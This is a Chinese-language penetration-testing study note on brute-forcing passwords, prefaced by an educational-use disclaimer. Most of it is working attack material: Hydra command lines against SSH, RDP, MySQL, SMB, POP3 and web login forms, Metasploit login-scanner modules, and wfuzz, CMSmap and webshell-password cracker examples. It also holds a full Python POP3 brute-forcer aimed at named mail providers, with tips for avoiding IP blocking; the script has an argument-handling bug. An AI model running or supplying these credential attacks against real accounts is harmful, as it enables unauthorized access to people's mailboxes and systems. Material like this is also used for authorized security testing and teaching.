郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
密码破解的实用工具:
Ophcrack, L0phtCrack, Cain & Abel, thc-hydra, RainbowCrack, Aircrack, AirSnort, PwdDump, Kerbcrack, brutus
思路
身份认证方法:证明你是声称你是的那个人
密码破解推荐原则:破解时采取先易后难的原则,建议如下:
密码破解方法
用户密码变型
影响密码破解效率
Hydra (九头蛇) 是著名黑客组织 thc 的一款开源的暴力密码破解工具,可以在线破解多种密码。Hydra 是一个并发的登录破解程序,支持许多协议攻击。新模块更容易添加,除此之外,Hydra 非常灵活和迅速的。
adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
图形化 Hydra:xhydra
# 扫描端口
nmap -p- 192.168.100.129 #-p- to scan ports from 1through 65535.
# -l 指定用户名,-L 指定用户名字典文件;-p 指定密码,-P指定密码字典文件; -M 指定多个 IP 进行穷举
# ssh 密码破解
hydra -L users.txt -p msfadmin ssh://192.168.100.129 -v
# HTTP 密码破解
hydra -L user_list.txt -P pass_list.txt -t 64 http-post://192.168.100.1 -I
# rdp 密码破解
hydra -L user_list.txt -P pass_list.txt -t 64 rdp://192.168.100.130 -I -v
# mysql 密码破解
hydra -L user_list.txt -P pass_list.txt -I -vV -f -e n -t 64 mysql://192.168.100.129 -o mysql_crack.txt
# SMB 密码破解
# -e n:空密码试探,s:使用指定用户和密码试探,r:将用户名反向作为密码输入
hydra -l win2019 -P pass_list.txt -e nsr -t 16 192.168.100.130 smb
# 邮箱密码破解
pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3
#Login=login:中“:”后面指定返回的是错误的特征字符,Login=login:S=index.php表示登陆成功后特征字符,可以是内容或HTTP头内容;
hydra -l admin -P password.lst 192.168.10.128 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=login:S=index.php" -V
# Login=login:login.php表示登陆错误后特征字符;
hydra -l admin -P password.lst 192.168.10.128 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=login:login.php" -V
hydra -l admin -P password.lst 192.168.10.128 http-post-form "/foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H=X-Foo: Foo"
# C:先访问指定页面取得cookie
# H:指定http头
# https-post-form、http-get-form、https-get-form
# -S:使用SSL连接
# 密码破解模块
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
# 用法
# 进入 Metasploit 命令行界面
msfconsole
# 选择所要使用的模块
use auxiliary/scanner/ssh/ssh_login
# 查看模块需要配置的内容
show options
# 配置模块
set rhosts 192.168.100.129
set user_file user_list.txt
set pass_file pass_list.txt
set stop_on_success true
# info 查询模块配置信息
info
# 运行模块
exploit/run
#!usr/bin/python
# !coding:utf-8
# description:
# 为了防止 IP 被所测试大厂过滤,建议一次测试案例不要超过 10 个,越少越好。
# 测试的密码应当为 POP3 的认证密码,与所登陆的邮箱密码不一样。
import poplib
import sys
if len(sys.argv) != 4:
print("\tNote: 邮箱类型为:'163','tencent','coremail','236','exchange'\n")
print("\tNote: coremail|exchange 用户字典不需要域名后缀,例如zhangsan\n")
print("\tNote: 163|tencent|236 用户字典需要域名后缀,例如[email protected]\n")
print("\tUsage: 163|tencent使用方法:./mail_brute.py mtype \n" )
print("\tUsage: 236|exchange|coremail使用方法:./mail_brute.py mtype mail.domain.com\n" )
sys.exit(1)
mailType = ['163', 'tencent', 'coremail', '236', 'exchange']
if sys.argv[1] in ['236', 'exchange', 'coremail']:
try:
server = sys.argv[5]
except:
print('[-] Error: 236|exchange|coremail需要指定domain.com,请参考使用说明!\n')
sys.exit(1)
elif sys.argv[1] == '163':
# 如果是企业,请使用注释语句
# server = "pop.qiye.163.com"
server = "pop3.163.com"
elif sys.argv[1] == 'tencent':
server = "pop.exmail.qq.com"
else:
print("[-] Error: 邮箱类型错误\n")
sys.exit(1)
success = []
try:
users_list = open(sys.argv[2], "r")
users = users_list.readlines()
words_list = open(sys.argv[3], "r")
words = words_list.readlines()
except IOError:
print("[-] Error: 请检查用户名或密码路径及文件\n")
sys.exit(1)
finally:
users_list.close()
words_list.close()
try:
if sys.argv[1] in ['163', '236']:
pop = poplib.POP3(server, 110)
else:
pop = poplib.POP3_SSL(server, 995)
welcome = pop.getwelcome()
print(welcome)
pop.quit()
except poplib.error_proto:
welcome = "[-] Error: No Response,Something wrong!!!\n"
sys.exit(1)
print("[+] Server:", server)
print("[+] Users Loaded:", len(users))
print("[+] Words Loaded:", len(words))
print("[+] Server response:", welcome, "\n")
def mailbruteforce(listuser, listpwd, mtype):
if len(listuser) < 1 or len(listpwd) < 1:
print("[-] Error: An error occurred: No user or pass list\n")
return 1
for user in listuser:
for passwd in listpwd:
user = user.replace("\n", "")
passwd = passwd.replace("\n", "")
try:
print("-" * 12)
print("[+] User:", user, "Password:", passwd)
# time.sleep(0.1)
if mtype in ['163', '236']:
popserver = poplib.POP3(server, 110)
else:
popserver = poplib.POP3_SSL(server, 995)
popserver.user(user)
auth = popserver.pass_(passwd)
print(auth)
if auth.split(' ')[0] == "+OK" or auth == "+OK":
ret = (user, passwd, popserver.stat()[0], popserver.stat()[1])
success.append(ret)
# print(len(success))
popserver.quit()
break
else:
popserver.quit()
continue
except:
# print("An error occurred:", msg)
pass
if __name__ == '__main__':
mailbruteforce(users, words, sys.argv[1])
print("\t[+] have weakpass :\t", len(success))
if len(success) >= 1:
for ret in success:
print("\n\n[+] Login successful:", ret[0], ret[1])
print("\t[+] Mail:", ret[2], "emails")
print("\t[+] Size:", ret[3], "bytes\n")
print("\n[-] Done")
如果burp suit 一次请求过多可能会造成服务器的访问错误。
Dionach/CMSmap: CMSmap is a python open source CMS scanner that automates the process of detecting security flaws of the most popular CMSs. (github.com)
# -f 强制扫描 (W)ordpress, (J)oomla or (D)rupal
# -F 使用插件列表扫描,慢且可能出现误报
# -i 使用目标站点列表文件扫描
# -o 保存输出到指定文件
# -u 指定用户名或用户名文件列表
# -p 指定密码或密码文件列表
# -k 使用密码 hash 文件,需要安装 hashcat,仅支持 WordPress and Joomla
Examples:
cmsmap.py https://example.com
cmsmap.py https://example.com -f W -F --noedb -d
cmsmap.py https://example.com -i targets.txt -o output.txt
cmsmap.py https://example.com -u admin -p passwords.txt
cmsmap.py -k hashes.txt -w passwords.txt
shmilylty/cheetah: a very fast brute force webshell password tool (github.com)
# -c 使能清除重复密码,默认关闭
# -s 指定 WEB 服务器名称,默认自动探测
# -v 使能输出详细信息,默认关闭
# -u url
# -r 请求类型,默认 POST
# -n 指定请求参数个数
# -p 指定密码文件,默认是 pwd.list
use examples:
python cheetah.py -u http://orz/orz.php
python cheetah.py -u http://orz/orz.jsp -r post -n 1000 -v
python cheetah.py -u http://orz/orz.asp -r get -c -p data/pwd.list
python cheetah.py -u http://orz/orz -w aspx -s iis -n 1000
python cheetah.py -b url.list -c -p pwd1.list pwd2.list -v
wfuzz -c -w csdnpass.txt --hc 200 -d "user=admin&pw=FUZZ" http://blog.lab.com/admin/index.php?action=login
具体使用方式参考:WFUZZ使用教程_JBlock的博客-CSDN博客_wfuzz
破解步骤: